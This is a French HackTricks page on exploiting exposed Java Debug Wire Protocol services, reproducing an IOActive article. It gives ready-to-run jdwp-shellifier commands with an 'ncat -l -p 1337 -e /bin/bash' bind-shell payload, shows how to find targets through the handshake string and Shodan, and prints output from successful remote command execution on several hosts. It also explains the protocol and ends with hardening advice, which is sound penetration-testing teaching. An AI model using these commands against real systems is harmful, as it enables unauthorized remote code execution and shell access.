☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Exploitation Vous pouvez utiliser l'exploit python situé dans [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend l'exploit plus **stable**. Et si vous avez la possibilité de télécharger une porte dérobée sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable. Normalement, ce débogueur est exécuté sur le port 8000 et si vous établissez une connexion TCP avec le port et envoyez "**JDWP-Handshake**", le serveur devrait vous répondre avec la même chaîne.\ De plus, vous pouvez vérifier cette chaîne dans le réseau pour trouver d'éventuels services JDWP. En listant les **processus**, si vous trouvez la chaîne "**jdwk**" à l'intérieur d'un **processus java**, il a probablement activé le **Java Debug Wired Protocol** et vous pourrez peut-être vous déplacer latéralement ou même **escalader les privilèges** (si exécuté en tant que root). # Plus de détails **Copié depuis** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) ## **Java Debug Wire Protocol** **Java Platform Debug Architecture (JPDA)**: JDWP est un composant du système de débogage Java global, appelé Java Platform Debug Architecture (JPDA)\[2]. Voici un diagramme de l'architecture globale : [![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png) Le Debuggee est constitué d'une JVM multi-thread exécutant notre application cible. Pour être débogable à distance, l'instance JVM doit être explicitement démarrée avec l'option -Xdebug passée en ligne de commande, ainsi que l'option -Xrunjdwp (ou -agentlib). Par exemple, le démarrage d'un serveur Tomcat avec le débogage à distance activé ressemblerait à ceci : [![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png) Comme le montre le diagramme d'architecture, le Java Debug Wire Protocol est le lien central entre le débogueur et l'instance JVM. Les observations sur le protocole comprennent : * C'est un protocole binaire de réseau basé sur des paquets. * Il est principalement synchrone. Le débogueur envoie une commande sur JDWP et s'attend à recevoir une réponse. Cependant, certaines commandes, comme les événements, n'attendent pas de réponse synchrone. Ils enverront une réponse lorsque des conditions spécifiques seront remplies. Par exemple, un point d'arrêt est un événement. * Il n'utilise pas d'authentification. * Il n'utilise pas de chiffrement. Toutes ces observations ont du sens puisque nous parlons d'un protocole de débogage. Cependant, lorsque ce service est exposé à un réseau hostile, ou est accessible depuis Internet, les choses pourraient mal tourner.\ \ **Handshake**: JDWP dicte\[9] que la communication doit être initiée par une simple poignée de main. Après une connexion TCP réussie, le débogueur (client) envoie la chaîne ASCII de 14 caractères "JDWP-Handshake". Le Debuggee (serveur) répond à ce message en envoyant exactement la même chaîne. La trace scapy\[3] suivante montre la poignée de main initiale à deux voies : root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy Welcome to Scapy (2.2.0-dev)\ **>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\ \\ **>>>** tcp.hexraw()\ 0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\ 0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\ 0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\ 0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\ **0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\ 0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ 0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ 0006 15:49:30.407557 Ether / IP / TCP 192.168 ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 [+] Targeting ‘192.168.2.9:8000’ [+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’ [+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038 [+] Created break event id=2 [+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ## [+] Received matching event from thread 0x8b0 [+] Found Operating System ‘Mac OS X’ [+] Found User name ‘pentestosx’ [+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’ [+] Found User home directory ‘/Users/pentestosx’ [!] Command successfully executed ``` Même ligne de commande, mais contre un système Windows et en arrêtant sur une méthode totalement différente: ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’ [+] Found Runtime class: id=593 [+] Found Runtime.getRuntime(): id=17977a9c [+] Created break event id=2 [+] Waiting for an event on ‘java.lang.String.indexOf’ [+] Received matching event from thread 0x8f5 [+] Found Operating System ‘Windows 7’ [+] Found User name ‘hugsy’ [+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’ [+] Found User home directory ‘C:Usershugsy’ [!] Command successfully executed ``` Nous exécutons notre exploit pour créer un shell de liaison avec la charge utile "ncat -e /bin/bash -l -p 1337", contre un système Linux : ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’ [+] Found Runtime class: id=79d [+] Found Runtime.getRuntime(): id=8a1f5e0 [+] Created break event id=2 [+] Waiting for an event on ‘java.net.ServerSocket.accept’ [+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’ [+] Command string object created id:82b [+] Runtime.getRuntime() returned context id:0x82c [+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d [!] Command successfully executed Success, we now have a listening socket! root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337 tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat tcp6 0 0 :::1337 :::* LISTEN 19242/ncat ``` L'exploit final utilise ces techniques, ajoute quelques vérifications et envoie des signaux de suspension/reprise pour causer le moins de perturbation possible (il est toujours préférable de ne pas casser l'application sur laquelle vous travaillez, n'est-ce pas ?). Il agit en deux modes : * Le mode "par défaut" est totalement non intrusif et exécute simplement du code Java pour obtenir des informations système locales (parfait pour une preuve de concept à un client). * Le passage de l'option "cmd" exécute une commande système sur l'hôte distant et est donc plus intrusif. La commande est exécutée avec les privilèges avec lesquels la JVM s'exécute. Ce script d'exploitation a été testé avec succès contre : * Oracle Java JDK 1.6 et 1.7 * OpenJDK 1.6 * IBM JDK 1.6 Comme Java est conçu pour être indépendant de la plate-forme, des commandes peuvent être exécutées sur n'importe quel système d'exploitation pris en charge par Java. Eh bien, c'est en fait une bonne nouvelle pour nous, les testeurs de pénétration : un service JDWP ouvert signifie une RCE fiable. Jusqu'à présent, tout va bien. ## **Et en ce qui concerne l'exploitation en temps réel ?** En fait, JDWP est assez souvent utilisé dans le monde des applications Java. Les testeurs de pénétration pourraient cependant ne pas le voir souvent lorsqu'ils effectuent des évaluations à distance car les pare-feu bloqueraient (et devraient) principalement le port sur lequel il s'exécute. Mais cela ne signifie pas que JDWP ne peut pas être trouvé dans la nature : * Au moment de la rédaction de cet article, une recherche rapide sur ShodanHQ\[4] révèle immédiatement environ 40 serveurs envoyant la poignée de main JDWP : ![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png) C'est en fait une découverte intéressante car, comme nous l'avons vu précédemment, c'est censé être le côté client (débogueur) qui initie le dialogue. * GitHub\[7] révèle également un nombre significatif d'applications open source potentiellement vulnérables : ![](https://ioactive.com/wp-content/uploads/2014/04/github.png) * La recherche de ports spécifiques (tcp/8000, tcp/8080, tcp/8787, tcp/5005) sur Internet a révélé de nombreux hôtes (qui ne peuvent pas être signalés ici) répondant à la poignée de main initiale. * Des applications "entreprise" ont été trouvées dans la nature exécutant un service JDWP \*par défaut\* (la recherche du numéro de port réel est laissée à l'exercice du lecteur curieux). Ce ne sont que quelques façons de découvrir des services JDWP ouverts sur Internet. C'est un excellent rappel que les applications devraient régulièrement faire l'objet d'examens de sécurité approfondis, que les environnements de production devraient avoir toute fonctionnalité de débogage désactivée et que les pare-feu devraient être configurés pour restreindre l'accès aux services nécessaires uniquement pour un fonctionnement normal. Permettre à n'importe qui de se connecter à un service JDWP, c'est exactement la même chose que permettre une connexion à un service gdbserver (de manière peut-être plus stable). J'espère que vous avez apprécié la lecture de cet article autant que j'ai apprécié jouer avec JDWP. À tous les pirates puissants, joyeux JDWP pwning !! **Remerciements**\ \ Je tiens à remercier Ilja Van Sprundel et Sebastien Macke pour leurs idées et leurs tests. ## **Références :** 1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) 2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) 3. http://www.secdev.org/projects/scapy(no longer active) 4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) 5. http://www.hsc-news.com/archives/2013/000109.html (no longer active) 6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) 7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults 8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) 9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) 10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) 11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.